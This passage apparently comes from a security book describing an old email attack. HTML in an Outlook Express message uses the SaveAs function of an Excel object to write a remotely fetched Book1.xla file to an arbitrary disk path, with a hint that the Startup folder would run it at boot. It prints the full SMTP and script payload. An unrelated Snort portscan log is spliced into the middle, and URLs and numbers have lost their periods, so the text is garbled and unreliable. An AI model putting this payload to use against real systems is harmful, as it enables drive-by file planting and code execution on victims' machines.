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The magic behind this attack comes from Georgi Guninski s observation that MS Excel and PowerPoint have a SaveAs function (see http://wwwnatbg/~joro/ sheetex-deschtml) Thus, once an Office document is called within IE using the object tag (as we have seen before), it exposes the ability to save data to any arbitrary location on disk Georgi s exploit extracts the data to be saved directly from a file called Book1xla, which is a simple Excel file renamed to xla Georgi uses the xla extension so that the file is executed by Windows at boot time if placed in the Startup folder A slightly modified version of Georgi s complete exploit encapsulated in our mail hacking format is shown next:

programs, and it makes for a great NIDS (Note that 1x versions of Snort do not handle packet fragmentation well) Here is a sample listing of a port scan attempt:

helo somedomaincom mail from: <mallory@attacknet> rcpt to: <hapless@victimnet> data subject: Check this out! Importance: high MIME-Version: 10 Content-Type: text/html; charset=us-ascii <HTML> <h2>Enticing message here!</h2> <object data="http://wwwnatbg/~joro/Book1xla" id="sh1" width=0 height=0> </object> <SCRIPT> function f() { fn=" D:\\test\\georgi-xlahta"; sh1objectSaveAs(fn,6); alert(fn+" successfully written"); } setTimeout("f()",5000); </SCRIPT> </HTML> quit

[**] spp_portscan: PORTSCAN DETECTED from 192168110 [**] 05/22-18:48:53681227 [**] spp_portscan: portscan status from 192168110: 4 connections across 1 hosts: TCP(0), UDP(4) [**] 05/22-18:49:14180505 [**] spp_portscan: End of portscan from 192168110 [**] 05/22-18:49:34180236

Georgi s code is contained between the <object> and </SCRIPT> tags We have modified it to access his Book1xla file using its full URL (his original exploit had the file available directly on the web server) The content of Book1xla is written to the file specified in the fn= line We also removed some commented lines from Georgi s original code that showed how you could save the file to the Windows Startup folder (we think you get the point) Previewing this message in OE on NT4 with the security zone set at Low first pops up a brief file transfer window, then the following message:

Excel/PowerPoint File Writing Attacks U Countermeasure forObtain the relevant patches from http://wwwmicrosoftcom/ Need we say it again

.

We re lazy and used Georgi s pre-built Book1xla file as raw material here It is harmless (containing only a couple lines of code that execute Hello world in a DOS shell window) However, with the growth of free and anonymous file repository services on the Internet, it would be simple for malicious attackers to create their own malicious Office document and make it available for download Misconfigured or compromised web or FTP servers would also make for a ripe depot for such files